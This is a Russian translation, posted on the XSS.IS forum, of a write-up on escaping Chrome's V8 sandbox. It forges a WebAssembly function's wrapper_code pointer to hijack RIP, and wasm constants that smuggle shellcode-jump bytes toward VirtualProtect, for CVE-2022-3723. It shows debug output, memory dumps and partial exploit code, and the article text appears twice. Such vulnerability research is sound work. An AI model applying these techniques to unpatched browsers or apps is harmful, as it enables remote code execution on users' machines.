D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
0x00-Предисловие
21 июля 2023 г. @5aelo опубликовал новый документ для обсуждения песочницы v8: перенос указателей функций .
Учитывая, что в будущем этот обход будет исправлен с помощью средства защиты от переноса указателей Chrome, в этой статье обсуждается, как использовать собственные указатели Function для обхода последней песочницы v8 в Chrome.
Что касается происхождения и развития песочницы v8, мы можем обратиться к некоторым предыдущим документам, кратко перечисленным здесь.
Песочница V8 — высокоуровневое проектирование - в основном объясняет идеи дизайна высокого уровня, тогда как песочница V8 — песочница внешнего указателя - фокусируется на проектировании таблицы внешних указателей и безопасном для памяти доступе к объектам за пределами песочницы v8. Для использования уязвимостей Chrome высоких версий необходимо рассмотреть возможность обхода средств защиты песочницы версии 8. Как и раньше, в этой статье подробно рассматриваются концепции и реализация обхода, а также используется существующий CVE-2022–3723 ( issues1378239 ) для создания калькулятора. В настоящее время этот вопрос остается закрытым.
0x01-Функциональный объект
При написании эксплойта обычный процесс — это повреждение объекта для произвольного чтения/записи и, наконец, выполнение кода. С добавлением песочницы v8 основной подход становится следующим:
Повреждение объекта -> Относительное произвольное чтение/запись -> Обход песочницы v8 -> Выполнение кода
Ключевым моментом здесь является обход песочницы из-за относительного произвольного чтения/записи. Объект Function в Javascript предоставляет эту возможность. Функция сама по себе является объектом, но при этом обеспечивает выполнение кода. Таким образом, он соединяет объект с выполнением.
Ниже приведена структура данных объекта Function:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Вот шестнадцатеричные данные в памяти
Код: Скопировать в буфер обмена
0x02 Перехват-RIP
0x1f290011c160 — это начальный адрес объекта, а 0x1f290011C135 — объект shared_info. Мы можем проверить детали этого объекта:
Код: Скопировать в буфер обмена
SharedFunctionInfo показывает объект function_data по адресу 0x1f290011c109. Исследование этого объекта показывает:
Код: Скопировать в буфер обмена
Хотя 0x1f2900303979 легко очевиден при анализе, в памяти он появляется в обратном порядке. Вероятно, эту проблему можно решить путем небольших изменений макета для обеспечения единообразия порядка. Главное здесь — это код_обертки.
В последней версии v8 мы видим, что теперь это свойство доступно только для чтения.
Код: Скопировать в буфер обмена
Однако мы можем подделать этот объект. Ниже показан тест последней версии Chrome 115.0.5790.170:
Адрес объекта — 0x109900233314. Изменяя данные по адресу 0x10990023332C на 0x002333B5, а затем подделывая объект по адресу 0x1099002333B4, мы захватываем адрес и указываем на адрес Wasm 0x037557588B010 (фактический стартовый адрес модуля Wasm — 0x37557588B000). Как показано, RIP успешно перехватывается по адресу 0x037557588B010, содержащему 0xCC, достигая точки останова в GDB.
0x03-issue1378239 Обход
Issue1378239-CVE-2022–3723 затрагивает Chrome 107.0.5304.62 и более ранние версии, реальный 0day, зафиксированный в 2022 году, хотя подробности этой проблемы до сих пор не опубликованы. Учитывая общедоступный PoC Google, легко добиться произвольного относительного чтения/записи, поэтому примитивы эксплойтов опущены, поскольку мы хотим сосредоточиться на обходе песочницы v8.
При произвольном чтении/записи мы можем сделать чтобы адрес Wasm утек Wasm, а затем клиент отправит его на удаленный сервер вместе с запросом Wasm. Получив адрес, сервер немедленно компилирует и возвращает байт-код wasm. Поскольку мы можем контролировать RIP, хитроумно разработанный код Wasm позволяет перехватывать RIP в невыровненные байт-коды в Wasm. Подробности ниже:
Код: Скопировать в буфер обмена
После компиляции приведенный выше код Wasm имеет разрешения RWX в последней версии Chrome, но RX в 107.0.5304.63. Поскольку мы можем управлять аргументом функции $f, которого достаточно для выполнения произвольного кода. Первые два байта 48 31 направляют нас к следующим управляемым байт-кодам. Таким образом, в этом васме мы можем выполнить эквивалентную сборку, переходя к следующим последовательностям, постепенно вызывая VirtualProtect и переходя к шеллкоду. Подробности реализации см. в общедоступном GitHub.
0x04-Примечания к проблеме 1378239
При написании этого эксплойта было обнаружено, что он срабатывает только один раз в изолированном контексте. Таким образом, эксплойт использует два шага: сначала утечка данных из одного iframe, отправка утекших данных на удаленный сервер, затем сервер записывает утекшую информацию в другой HTML-код, чтобы клиент мог запросить его в локальном iframe. Поскольку оба iframe используют один и тот же домен и порт, они используют один и тот же процесс, а также позволяют использовать утекшие адреса в одном и том же процессе. Во втором iframe мы изменяем длину массива, а затем выполняем типичное произвольное чтение/запись, чтобы обойти песочницу v8 для RCE в песочнице Chrome. Подробности об эксплойте см. на GitHub.
0x05-Демо
0x06-Patch Gap
Действительно, безопасность Chrome постоянно улучшается. На Pwn2Own 2023 эксплойтов полной цепочки Chrome также не было. На примере реальных PoC мы наблюдаем, как методы эксплойтов становятся все более новыми, в то время как традиционные, легко эксплуатируемые ошибки теперь описываются как высоко ценимые уязвимости. В последние годы встроенные объекты, такие как TheHole и Uninitialized OddBall, также постоянно совершенствуются. Однако противостояние остается динамичным и, казалось бы, сбалансированным. Мы до сих пор не полностью устранили пробелы в патчах в реальном мире.
При исследовании 1day и n-days многие популярные программы обмена мгновенными сообщениями, такие как Teams и Skype, не могут сравниться по скорости установки обновлений Chrome. По совпадению, Skype и Teams добавили песочницу v8 для защиты от угроз.
Патчи, предоставленные Chrome, или доказательства концепции от Google, значительно упростили хакерам воспроизведение уязвимостей и написание эксплойтов. Это представляет значительную угрозу для программного обеспечения, которое имеет общие компоненты. Ниже приведен эксплойт, который мы написали для Skype во время исследования 1/n-days в дикой природе. Ему также необходимо обойти песочницу V8. Я не буду здесь подробно останавливаться на пробелах в исправлениях для другого уязвимого программного обеспечения.
0x07-Ссылки
https://twitter.com/x/status/1682405383896219649
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://medium.com/@numencyberlabs/...e-v8-sandbox-exp-of-issue1378239-251d9c5b0d14
21 июля 2023 г. @5aelo опубликовал новый документ для обсуждения песочницы v8: перенос указателей функций .
Учитывая, что в будущем этот обход будет исправлен с помощью средства защиты от переноса указателей Chrome, в этой статье обсуждается, как использовать собственные указатели Function для обхода последней песочницы v8 в Chrome.
Что касается происхождения и развития песочницы v8, мы можем обратиться к некоторым предыдущим документам, кратко перечисленным здесь.
Песочница V8 — высокоуровневое проектирование - в основном объясняет идеи дизайна высокого уровня, тогда как песочница V8 — песочница внешнего указателя - фокусируется на проектировании таблицы внешних указателей и безопасном для памяти доступе к объектам за пределами песочницы v8. Для использования уязвимостей Chrome высоких версий необходимо рассмотреть возможность обхода средств защиты песочницы версии 8. Как и раньше, в этой статье подробно рассматриваются концепции и реализация обхода, а также используется существующий CVE-2022–3723 ( issues1378239 ) для создания калькулятора. В настоящее время этот вопрос остается закрытым.
0x01-Функциональный объект
При написании эксплойта обычный процесс — это повреждение объекта для произвольного чтения/записи и, наконец, выполнение кода. С добавлением песочницы v8 основной подход становится следующим:
Повреждение объекта -> Относительное произвольное чтение/запись -> Обход песочницы v8 -> Выполнение кода
Ключевым моментом здесь является обход песочницы из-за относительного произвольного чтения/записи. Объект Function в Javascript предоставляет эту возможность. Функция сама по себе является объектом, но при этом обеспечивает выполнение кода. Таким образом, он соединяет объект с выполнением.
Ниже приведена структура данных объекта Function:
Код: Скопировать в буфер обмена
Код:
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
%DebugPrint(f);
Код: Скопировать в буфер обмена
Код:
DebugPrint: 0x1f290011c161: [Function] in OldSpace
- map: 0x1f29001138b9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1f2900104275 <JSFunction (sfi = 0x1f29000c8ef9)>
- elements: 0x1f2900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x1f290011c135 <SharedFunctionInfo js-to-wasm::i>
- name: 0x1f2900002785 <String[1]: #0>
- builtin: JSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x1f2900103c0d <NativeContext[281]>
- code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
- Wasm instance: 0x1f290011bf69 <Instance map = 0x1f290011a605>
Вот шестнадцатеричные данные в памяти
Код: Скопировать в буфер обмена
Код:
0x1f290011c100 00000000 00040E40 00001E95 0011C0F1
0x1f290011c110 00303979 00000000 0011BF69 00000000
0x1f290011c120 000007D0 002B1A65 00000000 00000002
0x1f290011c130 00040E60 00000D8D 0011C109 00002785
0x1f290011c140 0000026D 0011BED1 00010000 00000000
0x1f290011c150 00000000 FFFFFFFF 0000031B 00000000
0x1f290011c160 001138B9 00000219 00000219 00057400
0x1f290011c170 0011C135 00103C0D 000C22F9 00000061
0x02 Перехват-RIP
0x1f290011c160 — это начальный адрес объекта, а 0x1f290011C135 — объект shared_info. Мы можем проверить детали этого объекта:
Код: Скопировать в буфер обмена
Код:
0x1f290011c135: [SharedFunctionInfo] in OldSpace
- map: 0x1f2900000d8d <Map[44](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x1f2900002785 <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 204
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- function_data: 0x1f290011c109 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from function_data): 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
…
…
SharedFunctionInfo показывает объект function_data по адресу 0x1f290011c109. Исследование этого объекта показывает:
Код: Скопировать в буфер обмена
Код:
0x1f290011c109: [WasmExportedFunctionData] in OldSpace
- map: 0x1f2900001e95 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- internal: 0x1f290011c0f1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
- wrapper_code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
- js_promise_flags: 0
Хотя 0x1f2900303979 легко очевиден при анализе, в памяти он появляется в обратном порядке. Вероятно, эту проблему можно решить путем небольших изменений макета для обеспечения единообразия порядка. Главное здесь — это код_обертки.
В последней версии v8 мы видим, что теперь это свойство доступно только для чтения.
Код: Скопировать в буфер обмена
Код:
(gdb) vmmap 0x1f2900303979
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00001f2900300000 0x00001f2900318000 0x0000000000000000 r--
Однако мы можем подделать этот объект. Ниже показан тест последней версии Chrome 115.0.5790.170:
Адрес объекта — 0x109900233314. Изменяя данные по адресу 0x10990023332C на 0x002333B5, а затем подделывая объект по адресу 0x1099002333B4, мы захватываем адрес и указываем на адрес Wasm 0x037557588B010 (фактический стартовый адрес модуля Wasm — 0x37557588B000). Как показано, RIP успешно перехватывается по адресу 0x037557588B010, содержащему 0xCC, достигая точки останова в GDB.
0x03-issue1378239 Обход
Issue1378239-CVE-2022–3723 затрагивает Chrome 107.0.5304.62 и более ранние версии, реальный 0day, зафиксированный в 2022 году, хотя подробности этой проблемы до сих пор не опубликованы. Учитывая общедоступный PoC Google, легко добиться произвольного относительного чтения/записи, поэтому примитивы эксплойтов опущены, поскольку мы хотим сосредоточиться на обходе песочницы v8.
При произвольном чтении/записи мы можем сделать чтобы адрес Wasm утек Wasm, а затем клиент отправит его на удаленный сервер вместе с запросом Wasm. Получив адрес, сервер немедленно компилирует и возвращает байт-код wasm. Поскольку мы можем контролировать RIP, хитроумно разработанный код Wasm позволяет перехватывать RIP в невыровненные байт-коды в Wasm. Подробности ниже:
Код: Скопировать в буфер обмена
Код:
var wasm_code = `
(module
(func $f (export "f") (param i64)
(call $f (i64.const 0x12EB9060B0C03148)) ;; 48 31 C0 B0 60 90 EB 12
(call $f (i64.const 0x0BEB9090008B4865)) ;; 65 48 8B 00 90 90 EB 0B
……
……
После компиляции приведенный выше код Wasm имеет разрешения RWX в последней версии Chrome, но RX в 107.0.5304.63. Поскольку мы можем управлять аргументом функции $f, которого достаточно для выполнения произвольного кода. Первые два байта 48 31 направляют нас к следующим управляемым байт-кодам. Таким образом, в этом васме мы можем выполнить эквивалентную сборку, переходя к следующим последовательностям, постепенно вызывая VirtualProtect и переходя к шеллкоду. Подробности реализации см. в общедоступном GitHub.
0x04-Примечания к проблеме 1378239
При написании этого эксплойта было обнаружено, что он срабатывает только один раз в изолированном контексте. Таким образом, эксплойт использует два шага: сначала утечка данных из одного iframe, отправка утекших данных на удаленный сервер, затем сервер записывает утекшую информацию в другой HTML-код, чтобы клиент мог запросить его в локальном iframe. Поскольку оба iframe используют один и тот же домен и порт, они используют один и тот же процесс, а также позволяют использовать утекшие адреса в одном и том же процессе. Во втором iframe мы изменяем длину массива, а затем выполняем типичное произвольное чтение/запись, чтобы обойти песочницу v8 для RCE в песочнице Chrome. Подробности об эксплойте см. на GitHub.
0x05-Демо
0x06-Patch Gap
Действительно, безопасность Chrome постоянно улучшается. На Pwn2Own 2023 эксплойтов полной цепочки Chrome также не было. На примере реальных PoC мы наблюдаем, как методы эксплойтов становятся все более новыми, в то время как традиционные, легко эксплуатируемые ошибки теперь описываются как высоко ценимые уязвимости. В последние годы встроенные объекты, такие как TheHole и Uninitialized OddBall, также постоянно совершенствуются. Однако противостояние остается динамичным и, казалось бы, сбалансированным. Мы до сих пор не полностью устранили пробелы в патчах в реальном мире.
При исследовании 1day и n-days многие популярные программы обмена мгновенными сообщениями, такие как Teams и Skype, не могут сравниться по скорости установки обновлений Chrome. По совпадению, Skype и Teams добавили песочницу v8 для защиты от угроз.
Патчи, предоставленные Chrome, или доказательства концепции от Google, значительно упростили хакерам воспроизведение уязвимостей и написание эксплойтов. Это представляет значительную угрозу для программного обеспечения, которое имеет общие компоненты. Ниже приведен эксплойт, который мы написали для Skype во время исследования 1/n-days в дикой природе. Ему также необходимо обойти песочницу V8. Я не буду здесь подробно останавливаться на пробелах в исправлениях для другого уязвимого программного обеспечения.
0x07-Ссылки
https://twitter.com/x/status/1682405383896219649
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://medium.com/@numencyberlabs/...e-v8-sandbox-exp-of-issue1378239-251d9c5b0d14
View hidden content is available for registered users!